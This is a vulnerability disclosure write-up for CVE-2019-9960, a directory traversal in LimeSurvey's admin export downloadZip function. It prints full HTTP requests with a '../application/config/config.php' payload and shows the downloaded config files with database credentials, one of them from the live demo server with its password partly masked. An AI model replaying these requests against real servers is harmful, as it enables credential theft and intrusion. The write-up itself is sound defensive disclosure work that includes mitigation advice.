Back

/ 7 min read

CVE-2019-9960: LimeSurvey Arbitrary File Download

Introduction

LimeSurvey is an open source application written in PHP, created specifically for conducting online surveys. It is really useful for those users who lack programming knowledge, helping them generate an environment for collecting responses to their surveys.

Some time ago, we found and reported an arbitrary file download vulnerability in LimeSurvey, which is registered as CVE-2019-9960. This vulnerability allows an Administrator to download internal server files through a Directory Traversal. The vulnerability affects versions <= 3.15.9+190214.

To date, LimeSurvey has a total of 2,192 stars on GitHub.

Finding the bugs

When a user exports the structure of a survey to *.lss format, a modal is generated with the “Download file” button.

LimeSurvey Export Modal LimeSurvey export interface showing the modal with download functionality

When executed, it generates a GET request to the following URL:

/index.php/admin/export/sa/downloadZip/sZip/pb46rb245xhdv8aqtpebzpbpaw5pb8

LimeSurvey uses the Pretty URL format, through which calls are made to different actions in the different controllers that make up the application. The previous URL is structured as follows.

LimeSurvey URL Structure LimeSurvey URL structure breakdown showing controller and parameter mapping

On one hand, admin/export refers to the controller:

./application/controllers/admin/export.php.sa

This corresponds to the GET parameter that receives the name of the method to execute, in this case, downloadZip.

Finally, sZip is the GET parameter that receives the name of the file to download:

pb46rb245xhdv8aqtpebzpbpaw5pb8.

Once the user makes the HTTP request, a call is made to the controller ./application/controllers/admin/export.php in the downloadZip() function.

This function receives as an argument the value of the “sZip” parameter. As you can see in the code, the parameter is not correctly sanitized before a Directory Traversal, so it is possible to access any type of internal server files.

Give me the file

Below is shown how it is possible to download the LimeSurvey configuration file located at ./application/config/config.php.

LimeSurvey File Download Demonstration of arbitrary file download through directory traversal


HTTP Request:

GET /LimeSurvey-3.15.9-190214/index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/LimeSurvey-3.15.9-190214/index.php/admin/survey/sa/listsurveys
Cookie: shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; PHPSESSID=rsh6r3jcnovp0dgs0i4dak5op3; YII_CSRF_TOKEN=WjNuR09MSWZ3Y0hoanV6M1Y1Y2wwQzJIaThZZmJMbEEK4nio9riEgrzfLfI_4GxA3fGccJytOU75JHXW7Vuo-A%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1

HTTP Response:

LimeSurvey Configuration File LimeSurvey configuration file successfully downloaded, exposing database credentials

HTTP/1.1 200 OK
Date: Tue, 26 Mar 2019 06:04:55 GMT
Server: Apache/2.4.25 (Ubuntu)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Disposition: attachment; filename=surveys_archive.zip
Last-Modified: Tue, 26 Mar 2019 06:04:55 GMT
Content-Length: 2729
Connection: close
Content-Type: application/force-download; charset=UTF-8
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=limesurvey;password=limesurvey;dbname=limesurvey;',
'emulatePrepare' => true,
'username' => 'limesurvey',
'password' => 'limesurvey',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

Exploitation in Previous Versions

In previous versions of LimeSurvey, for example in 3.15.8, the exploitation vector changes as follows. Credits to Alejandro Parodi for payload generation.


HTTP Request:

GET /index.php?sZip=../application/config/config.php&r=admin/export/sa/downloadZip HTTP/1.1
Host: demo.limesurvey.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://demo.limesurvey.org/index.php?r=admin/survey/sa/listsurveys/active/Y
Accept-Encoding: gzip, deflate
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=1271dn8v8kaum3i1esap4huti2; YII_CSRF_TOKEN=Y090aExYVEY1MllyZX5xREl1RE9qdDZFX2NCam13ZG0XxMSEeBdhJpz-XHL05irg2AUNbmc1Uccgag4YR_bkrQ%3D%3D

HTTP Response:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Mar 2019 05:04:15 GMT
Content-Type: application/force-download; charset=UTF-8
Connection: close
Content-Disposition: attachment; filename=surveys_archive.zip
Expires: 0
Last-Modified: Fri, 08 Mar 2019 05:04:15 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Security-Policy: worker-src www.limesurvey.org 'self'; connect-src 'self'; default-src 'self' www.limesurvey.org fonts.gstatic.com; font-src 'self' fonts.gstatic.com netdna.bootstrapcdn.com github.com; form-action 'self'; frame-src www.limesurvey.org 'self' www.limesurvey.com; img-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' maps.googleapis.com ajax.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; frame-ancestors 'self';
Content-Length: 3115
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'mysql:host=localhost;port=3306;dbname=c1***********;',
'emulatePrepare' => true,
'username' => 'c1**********',
'password' => 'mshj34782bdbnv783***************************',
'charset' => 'utf8mb4',
'tablePrefix' => 'lime_',
),
// Uncomment the following line if you need table-based sessions
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),
'urlManager' => array(
'urlFormat' => 'get',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),
),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
"demoMode" => true,
"demoModePrefill" => true,
"defaultuser" => 'demo',
"defaultpass" => 'demo',
'force_ssl'=>'on',
'usePluginWhitelist' => true,
'pluginCoreList' => [
'AuditLog',
'ExportR',
'ExportSTATAxml',
'extendedStartPage',
'oldUrlCompat',
'Authdb',
]
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

Impact and Mitigation

This vulnerability allows an authenticated attacker with administrator privileges to:

  1. Download configuration files containing database credentials
  2. Access system files through directory traversal
  3. Obtain sensitive information about server infrastructure
  4. Compromise data confidentiality of internal system data

Security Recommendations

  • Update LimeSurvey to a version higher than 3.15.9+190214
  • Validate and sanitize all user inputs before processing
  • Implement strict access controls for administrative functions
  • Configure proper file permissions on the server
  • Monitor access to critical system files

Timeline

  • 2019-03-08: Vulnerability reported to vendor
  • 2019-03-08: Vendor acknowledged!
  • 2019-03-14: Fix published

References